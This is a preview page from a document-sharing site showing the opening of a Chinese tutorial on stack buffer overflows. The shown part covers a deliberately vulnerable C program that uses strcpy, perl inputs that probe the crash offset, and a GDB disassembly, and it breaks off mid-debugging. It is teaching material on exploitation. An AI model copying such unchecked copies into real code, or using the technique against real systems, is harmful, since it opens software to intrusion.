緩沖區(qū)溢出筆記之---stack溢出

緩沖區(qū)溢出筆記之---stack溢出

ID:17799684

大小:73.00 KB

頁數(shù):33頁

時(shí)間:2018-09-05

緩沖區(qū)溢出筆記之---stack溢出_第1頁
緩沖區(qū)溢出筆記之---stack溢出_第2頁
緩沖區(qū)溢出筆記之---stack溢出_第3頁
緩沖區(qū)溢出筆記之---stack溢出_第4頁
緩沖區(qū)溢出筆記之---stack溢出_第5頁
資源描述:

《緩沖區(qū)溢出筆記之---stack溢出》由會(huì)員上傳分享,免費(fèi)在線閱讀,更多相關(guān)內(nèi)容在行業(yè)資料-天天文庫。

1、緩沖區(qū)溢出筆記之---STACK溢出緩沖區(qū)溢出筆記之---STACK溢出i.預(yù)備知識(shí)ii.溢出原理演示iii.三種常用溢出方法演示及實(shí)例分析本來預(yù)備講的東西很多,后來由于篇幅過長原因,所以其他一些內(nèi)容就沒有再講了,比如與環(huán)境變量傳遞的BUF有關(guān)的溢出(通過setenv(),putenv()等函數(shù)傳遞環(huán)境變量到BUF),以及一些實(shí)例分析.這篇是我在學(xué)習(xí)BUFFEROVERFLOW過程中的一些心得,算是一個(gè)總結(jié),同時(shí)也希望能幫助那些需要的朋友們.1.預(yù)備知識(shí)由于篇幅問題,在這里就省略了,具體可以參照匯編教程,或其他緩沖區(qū)溢出教程中的預(yù)備知識(shí).這里

2、僅僅請(qǐng)不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念.#%esp是堆棧指針寄存器,它指向當(dāng)前堆棧儲(chǔ)存區(qū)域的頂部.#%ebp是基址寄存器,它指向當(dāng)前堆棧儲(chǔ)存區(qū)域的底部.#%eip是指令指針(在緩沖區(qū)溢出中對(duì)我們最有用的寄存器)2.三種常用溢出方法.首先,我們來看一個(gè)有漏洞的程序[tt@ph4nt0mexplab]$catstack1.c#includeintmain(intargc,char**argv){charbuf[10];strcpy(buf,argv[1]);printf("buf's0x%8x

3、",&buf);return0;}[tt@ph4nt0mexplab]$這里做了什么呢?就是構(gòu)造一個(gè)10BYTES的BUFFER,然后把命令行的第一個(gè)參數(shù)拷貝進(jìn)緩沖區(qū)由于沒有進(jìn)行邊界檢察,所以當(dāng)argv[1]超過10bytes時(shí),就會(huì)造成緩沖區(qū)溢出.當(dāng)然,在理論上是只需要超過10BYTES,但是,實(shí)際上由于GCC的版本問題,所以往往在BUFFER后面添加了很多填充物,所以實(shí)際上我們需要28BYTES才能真正覆蓋BUFFER,我們還是實(shí)際來看一下[tt@ph4nt0mexplab]$./stack1`perl-e'print"A"x10'`bu

4、f's0xbfffec30[tt@ph4nt0mexplab]$./stack1`perl-e'print"A"x24'`buf's0xbffff220[tt@ph4nt0mexplab]$./stack1`perl-e'print"A"x28'`buf's0xbfffe020段錯(cuò)誤[tt@ph4nt0mexplab]$可見當(dāng)覆蓋10BYTES的"A"時(shí),程序正常退出,24BYTES也是如此,直到28BYTES時(shí),才發(fā)生SEGMENTFAULT我們用GDB來調(diào)試一下會(huì)比較清楚[tt@ph4nt0mexplab]$gdbstack1GNUgdb

5、RedHatLinux(5.3post-0.20021129.18rh)Copyright2003FreeSoftwareFoundation,Inc.GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Type"showcopying"toseetheconditions.ThereisabsolutelynowarrantyforGDB

6、.Type"showwarranty"fordetails.ThisGDBwasconfiguredas"i386-redhat-linux-gnu"...(gdb)disassmainDumpofassemblercodeforfunctionmain:0x0804835c:push%ebp0x0804835d:mov%esp,%ebp0x0804835f:sub$0x18,%esp0x08048362:and$0xfffffff0,%esp0x08048365

7、:mov$0x0,%eax0x0804836a:sub%eax,%esp0x0804836c:sub$0x8,%esp0x0804836f:mov0xc(%ebp),%eax0x08048372:add$0x4,%eax......<以下略>......這里我們只需要注意到0x0804835f:sub$0x18,%esp0x18等于10進(jìn)制的24事實(shí)上,內(nèi)存中為BUFFER分配了24字節(jié)的空間,所以就不難解釋上面的結(jié)論了.那么接下來的4BYTES當(dāng)然就造成

8、了SEGMENTFAULT那么,我們到底覆蓋了什么呢?重新運(yùn)行程序,用28BYTES覆蓋(gdb)r`perl-e'print"A"x28'`Startingpro

當(dāng)前文檔最多預(yù)覽五頁,下載文檔查看全文

此文檔下載收益歸作者所有

當(dāng)前文檔最多預(yù)覽五頁,下載文檔查看全文
溫馨提示:
1. 部分包含數(shù)學(xué)公式或PPT動(dòng)畫的文件,查看預(yù)覽時(shí)可能會(huì)顯示錯(cuò)亂或異常,文件下載后無此問題,請(qǐng)放心下載。
2. 本文檔由用戶上傳,版權(quán)歸屬用戶,天天文庫負(fù)責(zé)整理代發(fā)布。如果您對(duì)本文檔版權(quán)有爭(zhēng)議請(qǐng)及時(shí)聯(lián)系客服。
3. 下載前請(qǐng)仔細(xì)閱讀文檔內(nèi)容,確認(rèn)文檔內(nèi)容符合您的需求后進(jìn)行下載,若出現(xiàn)內(nèi)容與標(biāo)題不符可向本站投訴處理。
4. 下載文檔時(shí)可能由于網(wǎng)絡(luò)波動(dòng)等原因無法下載或下載錯(cuò)誤,付費(fèi)完成后未能成功下載的用戶請(qǐng)聯(lián)系客服處理。